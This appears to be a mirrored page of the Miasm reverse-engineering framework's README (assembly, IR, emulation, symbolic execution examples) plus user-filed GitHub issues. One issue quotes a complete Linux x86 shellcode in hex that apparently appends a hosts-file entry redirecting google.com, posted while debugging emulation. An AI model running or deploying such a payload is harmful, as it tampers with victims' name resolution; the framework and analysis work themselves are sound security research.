Giter VIP home page Giter VIP logo

miasm's Introduction

Build Status Build status Miasm tests Code Climate Join the chat at https://gitter.im/cea-sec/miasm

What is Miasm?

Miasm is a free and open source (GPLv2) reverse engineering framework. Miasm aims to analyze / modify / generate binary programs. Here is a non exhaustive list of features:

  • Opening / modifying / generating PE / ELF 32 / 64 LE / BE
  • Assembling / Disassembling X86 / ARM / MIPS / SH4 / MSP430
  • Representing assembly semantic using intermediate language
  • Emulating using JIT (dynamic code analysis, unpacking, ...)
  • Expression simplification for automatic de-obfuscation
  • ...

See the official blog for more examples and demos.

Table of Contents

Basic examples

Assembling / Disassembling

Import Miasm x86 architecture:

>>> from miasm.arch.x86.arch import mn_x86
>>> from miasm.core.locationdb import LocationDB

Get a location db:

>>> loc_db = LocationDB()

Assemble a line:

>>> l = mn_x86.fromstring('XOR ECX, ECX', loc_db, 32)
>>> print(l)
XOR        ECX, ECX
>>> mn_x86.asm(l)
['1\xc9', '3\xc9', 'g1\xc9', 'g3\xc9']

Modify an operand:

>>> l.args[0] = mn_x86.regs.EAX
>>> print(l)
XOR        EAX, ECX
>>> a = mn_x86.asm(l)
>>> print(a)
['1\xc8', '3\xc1', 'g1\xc8', 'g3\xc1']

Disassemble the result:

>>> print(mn_x86.dis(a[0], 32))
XOR        EAX, ECX

Using Machine abstraction:

>>> from miasm.analysis.machine import Machine
>>> mn = Machine('x86_32').mn
>>> print(mn.dis('\x33\x30', 32))
XOR        ESI, DWORD PTR [EAX]

For MIPS:

>>> mn = Machine('mips32b').mn
>>> print(mn.dis(b'\x97\xa3\x00 ', "b"))
LHU        V1, 0x20(SP)

Intermediate representation

Create an instruction:

>>> machine = Machine('arml')
>>> instr = machine.mn.dis('\x00 \x88\xe0', 'l')
>>> print(instr)
ADD        R2, R8, R0

Create an intermediate representation object:

>>> lifter = machine.lifter_model_call(loc_db)

Create an empty ircfg:

>>> ircfg = lifter.new_ircfg()

Add instruction to the pool:

>>> lifter.add_instr_to_ircfg(instr, ircfg)

Print current pool:

>>> for lbl, irblock in ircfg.blocks.items():
...     print(irblock)
loc_0:
R2 = R8 + R0

IRDst = loc_4

Working with IR, for instance by getting side effects:

>>> for lbl, irblock in ircfg.blocks.items():
...     for assignblk in irblock:
...         rw = assignblk.get_rw()
...         for dst, reads in rw.items():
...             print('read:   ', [str(x) for x in reads])
...             print('written:', dst)
...             print()
...
read:    ['R8', 'R0']
written: R2

read:    []
written: IRDst

More information on Miasm IR is in the corresponding Jupyter Notebook.

Emulation

Giving a shellcode:

00000000 8d4904      lea    ecx, [ecx+0x4]
00000003 8d5b01      lea    ebx, [ebx+0x1]
00000006 80f901      cmp    cl, 0x1
00000009 7405        jz     0x10
0000000b 8d5bff      lea    ebx, [ebx-1]
0000000e eb03        jmp    0x13
00000010 8d5b01      lea    ebx, [ebx+0x1]
00000013 89d8        mov    eax, ebx
00000015 c3          ret
>>> s = b'\x8dI\x04\x8d[\x01\x80\xf9\x01t\x05\x8d[\xff\xeb\x03\x8d[\x01\x89\xd8\xc3'

Import the shellcode thanks to the Container abstraction:

>>> from miasm.analysis.binary import Container
>>> c = Container.from_string(s, loc_db)
>>> c
<miasm.analysis.binary.ContainerUnknown object at 0x7f34cefe6090>

Disassembling the shellcode at address 0:

>>> from miasm.analysis.machine import Machine
>>> machine = Machine('x86_32')
>>> mdis = machine.dis_engine(c.bin_stream, loc_db=loc_db)
>>> asmcfg = mdis.dis_multiblock(0)
>>> for block in asmcfg.blocks:
...  print(block)
...
loc_0
LEA        ECX, DWORD PTR [ECX + 0x4]
LEA        EBX, DWORD PTR [EBX + 0x1]
CMP        CL, 0x1
JZ         loc_10
->      c_next:loc_b    c_to:loc_10
loc_10
LEA        EBX, DWORD PTR [EBX + 0x1]
->      c_next:loc_13
loc_b
LEA        EBX, DWORD PTR [EBX + 0xFFFFFFFF]
JMP        loc_13
->      c_to:loc_13
loc_13
MOV        EAX, EBX
RET

Initializing the JIT engine with a stack:

>>> jitter = machine.jitter(loc_db, jit_type='python')
>>> jitter.init_stack()

Add the shellcode in an arbitrary memory location:

>>> run_addr = 0x40000000
>>> from miasm.jitter.csts import PAGE_READ, PAGE_WRITE
>>> jitter.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, s)

Create a sentinelle to catch the return of the shellcode:

def code_sentinelle(jitter):
    jitter.running = False
    jitter.pc = 0
    return True

>>> jitter.add_breakpoint(0x1337beef, code_sentinelle)
>>> jitter.push_uint32_t(0x1337beef)

Active logs:

>>> jitter.set_trace_log()

Run at arbitrary address:

>>> jitter.init_run(run_addr)
>>> jitter.continue_run()
RAX 0000000000000000 RBX 0000000000000000 RCX 0000000000000000 RDX 0000000000000000
RSI 0000000000000000 RDI 0000000000000000 RSP 000000000123FFF8 RBP 0000000000000000
zf 0000000000000000 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 0000000040000000
40000000 LEA        ECX, DWORD PTR [ECX+0x4]
RAX 0000000000000000 RBX 0000000000000000 RCX 0000000000000004 RDX 0000000000000000
RSI 0000000000000000 RDI 0000000000000000 RSP 000000000123FFF8 RBP 0000000000000000
zf 0000000000000000 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
....
4000000e JMP        loc_0000000040000013:0x40000013
RAX 0000000000000000 RBX 0000000000000000 RCX 0000000000000004 RDX 0000000000000000
RSI 0000000000000000 RDI 0000000000000000 RSP 000000000123FFF8 RBP 0000000000000000
zf 0000000000000000 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 0000000040000013
40000013 MOV        EAX, EBX
RAX 0000000000000000 RBX 0000000000000000 RCX 0000000000000004 RDX 0000000000000000
RSI 0000000000000000 RDI 0000000000000000 RSP 000000000123FFF8 RBP 0000000000000000
zf 0000000000000000 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 0000000040000013
40000015 RET
>>>

Interacting with the jitter:

>>> jitter.vm
ad 1230000 size 10000 RW_ hpad 0x2854b40
ad 40000000 size 16 RW_ hpad 0x25e0ed0

>>> hex(jitter.cpu.EAX)
'0x0L'
>>> jitter.cpu.ESI = 12

Symbolic execution

Initializing the IR pool:

>>> lifter = machine.lifter_model_call(loc_db)
>>> ircfg = lifter.new_ircfg_from_asmcfg(asmcfg)

Initializing the engine with default symbolic values:

>>> from miasm.ir.symbexec import SymbolicExecutionEngine
>>> sb = SymbolicExecutionEngine(lifter)

Launching the execution:

>>> symbolic_pc = sb.run_at(ircfg, 0)
>>> print(symbolic_pc)
((ECX + 0x4)[0:8] + 0xFF)?(0xB,0x10)

Same, with step logs (only changes are displayed):

>>> sb = SymbolicExecutionEngine(lifter, machine.mn.regs.regs_init)
>>> symbolic_pc = sb.run_at(ircfg, 0, step=True)
Instr LEA        ECX, DWORD PTR [ECX + 0x4]
Assignblk:
ECX = ECX + 0x4
________________________________________________________________________________
ECX                = ECX + 0x4
________________________________________________________________________________
Instr LEA        EBX, DWORD PTR [EBX + 0x1]
Assignblk:
EBX = EBX + 0x1
________________________________________________________________________________
EBX                = EBX + 0x1
ECX                = ECX + 0x4
________________________________________________________________________________
Instr CMP        CL, 0x1
Assignblk:
zf = (ECX[0:8] + -0x1)?(0x0,0x1)
nf = (ECX[0:8] + -0x1)[7:8]
pf = parity((ECX[0:8] + -0x1) & 0xFF)
of = ((ECX[0:8] ^ (ECX[0:8] + -0x1)) & (ECX[0:8] ^ 0x1))[7:8]
cf = (((ECX[0:8] ^ 0x1) ^ (ECX[0:8] + -0x1)) ^ ((ECX[0:8] ^ (ECX[0:8] + -0x1)) & (ECX[0:8] ^ 0x1)))[7:8]
af = ((ECX[0:8] ^ 0x1) ^ (ECX[0:8] + -0x1))[4:5]
________________________________________________________________________________
af                 = (((ECX + 0x4)[0:8] + 0xFF) ^ (ECX + 0x4)[0:8] ^ 0x1)[4:5]
pf                 = parity((ECX + 0x4)[0:8] + 0xFF)
zf                 = ((ECX + 0x4)[0:8] + 0xFF)?(0x0,0x1)
ECX                = ECX + 0x4
of                 = ((((ECX + 0x4)[0:8] + 0xFF) ^ (ECX + 0x4)[0:8]) & ((ECX + 0x4)[0:8] ^ 0x1))[7:8]
nf                 = ((ECX + 0x4)[0:8] + 0xFF)[7:8]
cf                 = (((((ECX + 0x4)[0:8] + 0xFF) ^ (ECX + 0x4)[0:8]) & ((ECX + 0x4)[0:8] ^ 0x1)) ^ ((ECX + 0x4)[0:8] + 0xFF) ^ (ECX + 0x4)[0:8] ^ 0x1)[7:8]
EBX                = EBX + 0x1
________________________________________________________________________________
Instr JZ         loc_key_1
Assignblk:
IRDst = zf?(loc_key_1,loc_key_2)
EIP = zf?(loc_key_1,loc_key_2)
________________________________________________________________________________
af                 = (((ECX + 0x4)[0:8] + 0xFF) ^ (ECX + 0x4)[0:8] ^ 0x1)[4:5]
EIP                = ((ECX + 0x4)[0:8] + 0xFF)?(0xB,0x10)
pf                 = parity((ECX + 0x4)[0:8] + 0xFF)
IRDst              = ((ECX + 0x4)[0:8] + 0xFF)?(0xB,0x10)
zf                 = ((ECX + 0x4)[0:8] + 0xFF)?(0x0,0x1)
ECX                = ECX + 0x4
of                 = ((((ECX + 0x4)[0:8] + 0xFF) ^ (ECX + 0x4)[0:8]) & ((ECX + 0x4)[0:8] ^ 0x1))[7:8]
nf                 = ((ECX + 0x4)[0:8] + 0xFF)[7:8]
cf                 = (((((ECX + 0x4)[0:8] + 0xFF) ^ (ECX + 0x4)[0:8]) & ((ECX + 0x4)[0:8] ^ 0x1)) ^ ((ECX + 0x4)[0:8] + 0xFF) ^ (ECX + 0x4)[0:8] ^ 0x1)[7:8]
EBX                = EBX + 0x1
________________________________________________________________________________
>>>

Retry execution with a concrete ECX. Here, the symbolic / concolic execution reach the shellcode's end:

>>> from miasm.expression.expression import ExprInt
>>> sb.symbols[machine.mn.regs.ECX] = ExprInt(-3, 32)
>>> symbolic_pc = sb.run_at(ircfg, 0, step=True)
Instr LEA        ECX, DWORD PTR [ECX + 0x4]
Assignblk:
ECX = ECX + 0x4
________________________________________________________________________________
af                 = (((ECX + 0x4)[0:8] + 0xFF) ^ (ECX + 0x4)[0:8] ^ 0x1)[4:5]
EIP                = ((ECX + 0x4)[0:8] + 0xFF)?(0xB,0x10)
pf                 = parity((ECX + 0x4)[0:8] + 0xFF)
IRDst              = ((ECX + 0x4)[0:8] + 0xFF)?(0xB,0x10)
zf                 = ((ECX + 0x4)[0:8] + 0xFF)?(0x0,0x1)
ECX                = 0x1
of                 = ((((ECX + 0x4)[0:8] + 0xFF) ^ (ECX + 0x4)[0:8]) & ((ECX + 0x4)[0:8] ^ 0x1))[7:8]
nf                 = ((ECX + 0x4)[0:8] + 0xFF)[7:8]
cf                 = (((((ECX + 0x4)[0:8] + 0xFF) ^ (ECX + 0x4)[0:8]) & ((ECX + 0x4)[0:8] ^ 0x1)) ^ ((ECX + 0x4)[0:8] + 0xFF) ^ (ECX + 0x4)[0:8] ^ 0x1)[7:8]
EBX                = EBX + 0x1
________________________________________________________________________________
Instr LEA        EBX, DWORD PTR [EBX + 0x1]
Assignblk:
EBX = EBX + 0x1
________________________________________________________________________________
af                 = (((ECX + 0x4)[0:8] + 0xFF) ^ (ECX + 0x4)[0:8] ^ 0x1)[4:5]
EIP                = ((ECX + 0x4)[0:8] + 0xFF)?(0xB,0x10)
pf                 = parity((ECX + 0x4)[0:8] + 0xFF)
IRDst              = ((ECX + 0x4)[0:8] + 0xFF)?(0xB,0x10)
zf                 = ((ECX + 0x4)[0:8] + 0xFF)?(0x0,0x1)
ECX                = 0x1
of                 = ((((ECX + 0x4)[0:8] + 0xFF) ^ (ECX + 0x4)[0:8]) & ((ECX + 0x4)[0:8] ^ 0x1))[7:8]
nf                 = ((ECX + 0x4)[0:8] + 0xFF)[7:8]
cf                 = (((((ECX + 0x4)[0:8] + 0xFF) ^ (ECX + 0x4)[0:8]) & ((ECX + 0x4)[0:8] ^ 0x1)) ^ ((ECX + 0x4)[0:8] + 0xFF) ^ (ECX + 0x4)[0:8] ^ 0x1)[7:8]
EBX                = EBX + 0x2
________________________________________________________________________________
Instr CMP        CL, 0x1
Assignblk:
zf = (ECX[0:8] + -0x1)?(0x0,0x1)
nf = (ECX[0:8] + -0x1)[7:8]
pf = parity((ECX[0:8] + -0x1) & 0xFF)
of = ((ECX[0:8] ^ (ECX[0:8] + -0x1)) & (ECX[0:8] ^ 0x1))[7:8]
cf = (((ECX[0:8] ^ 0x1) ^ (ECX[0:8] + -0x1)) ^ ((ECX[0:8] ^ (ECX[0:8] + -0x1)) & (ECX[0:8] ^ 0x1)))[7:8]
af = ((ECX[0:8] ^ 0x1) ^ (ECX[0:8] + -0x1))[4:5]
________________________________________________________________________________
af                 = 0x0
EIP                = ((ECX + 0x4)[0:8] + 0xFF)?(0xB,0x10)
pf                 = 0x1
IRDst              = ((ECX + 0x4)[0:8] + 0xFF)?(0xB,0x10)
zf                 = 0x1
ECX                = 0x1
of                 = 0x0
nf                 = 0x0
cf                 = 0x0
EBX                = EBX + 0x2
________________________________________________________________________________
Instr JZ         loc_key_1
Assignblk:
IRDst = zf?(loc_key_1,loc_key_2)
EIP = zf?(loc_key_1,loc_key_2)
________________________________________________________________________________
af                 = 0x0
EIP                = 0x10
pf                 = 0x1
IRDst              = 0x10
zf                 = 0x1
ECX                = 0x1
of                 = 0x0
nf                 = 0x0
cf                 = 0x0
EBX                = EBX + 0x2
________________________________________________________________________________
Instr LEA        EBX, DWORD PTR [EBX + 0x1]
Assignblk:
EBX = EBX + 0x1
________________________________________________________________________________
af                 = 0x0
EIP                = 0x10
pf                 = 0x1
IRDst              = 0x10
zf                 = 0x1
ECX                = 0x1
of                 = 0x0
nf                 = 0x0
cf                 = 0x0
EBX                = EBX + 0x3
________________________________________________________________________________
Instr LEA        EBX, DWORD PTR [EBX + 0x1]
Assignblk:
IRDst = loc_key_3
________________________________________________________________________________
af                 = 0x0
EIP                = 0x10
pf                 = 0x1
IRDst              = 0x13
zf                 = 0x1
ECX                = 0x1
of                 = 0x0
nf                 = 0x0
cf                 = 0x0
EBX                = EBX + 0x3
________________________________________________________________________________
Instr MOV        EAX, EBX
Assignblk:
EAX = EBX
________________________________________________________________________________
af                 = 0x0
EIP                = 0x10
pf                 = 0x1
IRDst              = 0x13
zf                 = 0x1
ECX                = 0x1
of                 = 0x0
nf                 = 0x0
cf                 = 0x0
EBX                = EBX + 0x3
EAX                = EBX + 0x3
________________________________________________________________________________
Instr RET
Assignblk:
IRDst = @32[ESP[0:32]]
ESP = {ESP[0:32] + 0x4 0 32}
EIP = @32[ESP[0:32]]
________________________________________________________________________________
af                 = 0x0
EIP                = @32[ESP]
pf                 = 0x1
IRDst              = @32[ESP]
zf                 = 0x1
ECX                = 0x1
of                 = 0x0
nf                 = 0x0
cf                 = 0x0
EBX                = EBX + 0x3
ESP                = ESP + 0x4
EAX                = EBX + 0x3
________________________________________________________________________________
>>>

How does it work?

Miasm embeds its own disassembler, intermediate language and instruction semantic. It is written in Python.

To emulate code, it uses LLVM, GCC, Clang or Python to JIT the intermediate representation. It can emulate shellcodes and all or parts of binaries. Python callbacks can be executed to interact with the execution, for instance to emulate library functions effects.

Documentation

TODO

An auto-generated documentation is available:

Obtaining Miasm

Software requirements

Miasm uses:

  • python-pyparsing
  • python-dev
  • optionally python-pycparser (version >= 2.17)

To enable code JIT, one of the following module is mandatory:

  • GCC
  • Clang
  • LLVM with Numba llvmlite, see below

'optional' Miasm can also use:

Configuration

To use the jitter, GCC or LLVM is recommended

  • GCC (any version)
  • Clang (any version)
  • LLVM
    • Debian (testing/unstable): Not tested
    • Debian stable/Ubuntu/Kali/whatever: pip install llvmlite or install from llvmlite
    • Windows: Not tested
  • Build and install Miasm:
$ cd miasm_directory
$ python setup.py build
$ sudo python setup.py install

If something goes wrong during one of the jitter modules compilation, Miasm will skip the error and disable the corresponding module (see the compilation output).

Windows & IDA

Most of Miasm's IDA plugins use a subset of Miasm functionality. A quick way to have them working is to add:

  • pyparsing.py to C:\...\IDA\python\ or pip install pyparsing
  • miasm/miasm directory to C:\...\IDA\python\

All features excepting JITter related ones will be available. For a more complete installation, please refer to above paragraphs.

Testing

Miasm comes with a set of regression tests. To run all of them:

cd miasm_directory/test

# Run tests using our own test runner
python test_all.py

# Run tests using standard frameworks (slower, require 'parameterized')
python -m unittest test_all.py        # sequential, requires 'unittest'
python -m pytest test_all.py          # sequential, requires 'pytest'
python -m pytest -n auto test_all.py  # parallel, requires 'pytest' and 'pytest-xdist'

Some options can be specified:

  • Mono threading: -m
  • Code coverage instrumentation: -c
  • Only fast tests: -t long (excludes the long tests)

They already use Miasm

Tools

  • Sibyl: A function divination tool
  • R2M2: Use miasm as a radare2 plugin
  • CGrex: Targeted patcher for CGC binaries
  • ethRE: Reversing tool for Ethereum EVM (with corresponding Miasm2 architecture)

Blog posts / papers / conferences

Books

miasm's People

Contributors

0xeb avatar a-vincent avatar ana06 avatar carolinele avatar clovis-ai avatar clslgrnc avatar commial avatar fmonjalet avatar frky avatar guedou avatar hax0kartik avatar htfy96 avatar icecr4ck avatar iridiumxor avatar itsacoderepo avatar laanwj avatar losynix avatar mrexodia avatar mrphrazer avatar nofiv avatar p-l- avatar p403n1x87 avatar ponpon19 avatar serpilliere avatar sh3idan avatar stephengroat avatar su-vikas avatar w0ni avatar w4kfu avatar williambruneau avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

miasm's Issues

z3 translation crashes

Translation of a basic block to z3 expressions crashes with following error:

Extract(63, 0, Extract(63, 0, RSP) + 8) == RSP
RBP ==
Concat(mem64[Extract(63, 0, RSP) + 8 + 7],
       Concat(mem64[Extract(63, 0, RSP) + 8 + 6],
              Concat(mem64[Extract(63, 0, RSP) + 8 + 5],
                     Concat(mem64[Extract(63, 0, RSP) +
                              8 +
                              4],
                            Concat(mem64[Extract(63, 0, RSP) +
                                     8 +
                                     3],
                                   Concat(mem64[Extract(63,
                                        0,
                                        RSP) +
                                        8 +
                                        2],
                                        Concat(mem64[Extract(63,
                                        0,
                                        RSP) +
                                        8 +
                                        1],
                                        mem64[Extract(63,
                                        0,
                                        RSP) +
                                        8])))))))
RSP == RBP
Extract(31, 0, RDI) ==
Concat(mem64[RBP + 18446744073709551612 + 3],
       Concat(mem64[RBP + 18446744073709551612 + 2],
              Concat(mem64[RBP + 18446744073709551612 + 1],
                     mem64[RBP + 18446744073709551612])))
If(Concat(mem64[RBP + 18446744073709551612 + 3],
          Concat(mem64[RBP + 18446744073709551612 + 2],
                 Concat(mem64[RBP + 18446744073709551612 + 1],
                        mem64[RBP + 18446744073709551612]))) +
   1337 !=
   0,
   0,
   1) ==
zf
Extract(31,
        31,
        Concat(mem64[RBP + 18446744073709551612 + 3],
               Concat(mem64[RBP + 18446744073709551612 + 2],
                      Concat(mem64[RBP +
                               18446744073709551612 +
                               1],
                             mem64[RBP +
                               18446744073709551612]))) +
        1337) ==
nf
WARNING: invalid function application for =, sort mismatch on argument at position 2, expected (_ BitVec 32) but given (_ BitVec 1)
WARNING: (declare-fun = ((_ BitVec 32) (_ BitVec 32)) Bool) applied to: 
(bvand (bvadd (concat #27 #36) bv[1337:32]) bv[255:32]) of sort (_ BitVec 32)
pf of sort (_ BitVec 1)

Traceback (most recent call last):
  File "z3-translate.py", line 40, in <module>
    print translator.Translator.to_language('z3').from_expr(e)
  File "/usr/local/lib/python2.7/dist-packages/miasm2/ir/translators/z3_ir.py", line 193, in from_expr
    ret = super(TranslatorZ3, cls).from_expr(expr)
  File "/usr/local/lib/python2.7/dist-packages/miasm2/ir/translators/translator.py", line 109, in from_expr
    return handler(expr)
  File "/usr/local/lib/python2.7/dist-packages/miasm2/ir/translators/z3_ir.py", line 174, in from_ExprAff
    return (src == dst)
  File "/usr/lib/python2.7/dist-packages/z3.py", line 786, in __eq__
    return BoolRef(Z3_mk_eq(self.ctx_ref(), a.as_ast(), b.as_ast()), self.ctx)
  File "/usr/lib/python2.7/dist-packages/z3core.py", line 1361, in Z3_mk_eq
    raise Z3Exception(lib().Z3_get_error_msg_ex(a0, err))
z3types.Z3Exception: type error

Assembly code:

0x400546: PUSH       RBP
0x400547: MOV        RBP, RSP
0x40054a: MOV        DWORD PTR [RBP+0xFFFFFFFFFFFFFFFC], EDI
0x40054d: CMP        DWORD PTR [RBP+0xFFFFFFFFFFFFFFFC], 0x539
0x400554: JNZ        loc_000000000040055D:0x0040055d

This code triggers the crash:

ib = ira.get_bloc(addr)
for ir in ib.irs:
    for e in ir:
        print translator.Translator.to_language('z3').from_expr(e)

problem disassembling mips430 raw opcodes

Hi,

I think that the mips430 disassembler outputs erroneous assembly,
using the following code:

    container = Container.from_string(s)
    machine = Machine('msp430')
    mdis = machine.dis_engine(container.bin_stream)
    blocs = mdis.dis_multibloc(0)
    for b in blocs:
        print b

the intput

s = '\x30\x41\x31\x40\x00\x00'

yields

loc_0000000000000000:0x00000000
mov.w      @SP+, PC

but the expected output is

loc_0000000000000000:0x00000000
mov.w      @SP+, PC
mov.w      0x0000, SP

Jitter (TCC) : SSE support

Hi,

There is more and more programs using SSE instructions. It is not currently supported by TCC jitter because of 128-bit (XMM) registers handling. It doesn't seems possible to do that properly using TCC.

For example, GCC has intrinsics which let us handle 128-bit numbers using __m128 types but I didn't found any way to do that with TCC. I made it dirty using chars array but it is definetly not the proper way... any ideas ?

Thanks!

Asm blocks contains instructions twice

Hi,

I think this line. should be removed (or not).

When using the jitter, if we print the content of:
sb.jitter.ir_arch.get_bloc(addr).lines
we can see the instructions are present twice. It is because it is also appended to the lines array here.

EDIT: By removing the line, it seems to make Miasm to crash here :
assert len(irbloc.irs) == len(irbloc.lines).

gg.

CALL instruction not followed

Hi,

I have an other question about the execution of a Linux shellcode, this is what miasm did :

4000001E XCHG EAX, EBX
4000001F PUSH 0x4
40000021 POP EAX
40000022 JMP loc_0000000040000034:0x40000034
40000034 CALL loc_0000000040000024:0x40000024
40000039 XOR DWORD PTR [EDX], ESI
(...)

The jump to 0x34 is followed but not the call, did i miss something or have i to force the call ?

When i print the blocs we can see the "jump" of the call is not correct :
loc_000000000000001E:0x0000001e
XCHG EAX, EBX
PUSH 0x4
POP EAX
JMP loc_0000000000000034:0x00000034
-> c_to:loc_0000000000000034:0x00000034

loc_0000000000000034:0x00000034
CALL loc_0000000000000024:0x00000024
-> c_next:loc_0000000000000039:0x00000039

This is the complete shellcode : "\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x6f\x73\x74\x73\x68\x2f\x2f\x2f\x68\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\xcd\x80\x93\x6a\x04\x58\xeb\x10\x59\x6a\x14\x5a\xcd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xeb\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d"

LLVM support is broken

Since the commit 6e09df7, the LLVM Jitter is broken.

The Jitter implementation has to deal with the new IRDST mean.

In addition, a refactor of LLVM jitter could uses LLVM struct for registers virtualisation, in order to improve optimisations.
https://github.com/numba/llvmlite could be considered.

Refactoring the way registers are initialized

Hi,

it seems that you've already coded helpers function to handle the registers initialization with gen_reg/gen_regs in miasm2/core/cpu.py.
I guess it's meant to be used to clear init code in regs.py for the different architectures.
But still you manually write reg init like:

PC = ExprId('PC')
reg_pc_str = ['PC']
reg_pc_expr = ExprId(reg_pc_str, sz)

I won't touch the code for now, as I don't know if you still support the gen_reg way to do.

On a side note, seems a little bit odd that gen_reg() and gen_regs() coexist together.
You could maybe handle the case when a single register is passed to the function as an exception, and handling it in gen_regs() only, giving up on gen_reg(), or call gen_reg on each elements of the rnames list passed to gen_regs() if it's seems to you important that gen_reg() persists.

Cheers

Question about the IR internals

Hello,
I have a question about how the IR translates assembly to miasm expressions, and I couldn't find any help elsewhere, so I'm asking the question here.

Let's suppose I'm working on 32 bits x86 architecture, and I'm trying to translate the following assembly to miasm expressions:

MOV SI, DI

These two registers are 16 bits wide.

After the translation to IR, I was expecting something like:

SI = DI_init

But instead, the IR seems to work only on 32 bit registers, and I will get a mix of ExprCompose, ExprSlice, like:

ESI = {EDI_init[0:16],0,16, ESI_init[16:32],16,32}

Moreover, if I do a symbolic execution of the assembly block, with all x86 registers provided as input symbols, the SI register seems to be untouched after the translation, eventhough the instruction clearly should have changed it:

SI = SI_init   (Expected "SI = DI_init")

This "issue" appears with the register DX in this miasm example.

Is there a reason why miasm works like that ? Can I somehow translate the result with ExprCompose and ExprSlice to something like the result I expected with 16 bits expressions ?

asm -> IR symbolic exec problem with dead code

There seems to be a problem with the following code:

int foo(int a, int b, int c)
{
    int d = a*b;
    int e = (a *22);
    int f = 3 >> c;
    if (d  == 1337)
    {
        return 1;
    }
f = 3 >> c;

is dead code. This seems to be the problem, without this line z3 calculates correct values.

Compile that with

gcc -O0 foo.c

The assembly code:

  400546:       55                      push   %rbp
  400547:       48 89 e5                mov    %rsp,%rbp
  40054a:       89 7d ec                mov    %edi,-0x14(%rbp)
  40054d:       89 75 e8                mov    %esi,-0x18(%rbp)
  400550:       89 55 e4                mov    %edx,-0x1c(%rbp)
  400553:       8b 45 ec                mov    -0x14(%rbp),%eax
  400556:       0f af 45 e8             imul   -0x18(%rbp),%eax
  40055a:       89 45 fc                mov    %eax,-0x4(%rbp)
  40055d:       8b 45 ec                mov    -0x14(%rbp),%eax
  400560:       6b c0 16                imul   $0x16,%eax,%eax
  400563:       89 45 f8                mov    %eax,-0x8(%rbp)
  400566:       8b 45 e4                mov    -0x1c(%rbp),%eax
  400569:       ba 03 00 00 00          mov    $0x3,%edx
  40056e:       89 c1                   mov    %eax,%ecx
  400570:       d3 fa                   sar    %cl,%edx
  400572:       89 d0                   mov    %edx,%eax
  400574:       89 45 f4                mov    %eax,-0xc(%rbp)
  400577:       81 7d fc 39 05 00 00    cmpl   $0x539,-0x4(%rbp)
  40057e:       75 07                   jne    400587 <foo+0x41>

IR code:

loc_0000000000400546:0x00400546
    RSP = {(RSP[0:64]+(- 0x8)),0,64}
    @64[(RSP[0:64]+(- 0x8))] = RBP

    RBP = RSP

    @32[(RBP+0xFFFFFFFFFFFFFFEC)] = RDI[0:32]

    @32[(RBP+0xFFFFFFFFFFFFFFE8)] = RSI[0:32]

    @32[(RBP+0xFFFFFFFFFFFFFFE4)] = RDX[0:32]

    RAX = {@32[(RBP+0xFFFFFFFFFFFFFFEC)],0,32, 0x0,32,64}

    RAX = {({RAX[0:32],0,32, (RAX[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}*{@32[(RBP+0xFFFFFFFFFFFFFFE8)],0,32, (@32[(RBP+0xFFFFFFFFFFFFFFE8)][31:32]?(0xFFFFFFFF,0x0)),32,64})[0:32],0,32, 0x0,32,64}
    cf = ((({RAX[0:32],0,32, (RAX[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}*{@32[(RBP+0xFFFFFFFFFFFFFFE8)],0,32, (@32[(RBP+0xFFFFFFFFFFFFFFE8)][31:32]?(0xFFFFFFFF,0x0)),32,64})+(- {({RAX[0:32],0,32, (RAX[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}*{@32[(RBP+0xFFFFFFFFFFFFFFE8)],0,32, (@32[(RBP+0xFFFFFFFFFFFFFFE8)][31:32]?(0xFFFFFFFF,0x0)),32,64})[0:32],0,32, (({RAX[0:32],0,32, (RAX[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}*{@32[(RBP+0xFFFFFFFFFFFFFFE8)],0,32, (@32[(RBP+0xFFFFFFFFFFFFFFE8)][31:32]?(0xFFFFFFFF,0x0)),32,64})[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}))?(0x1,0x0))
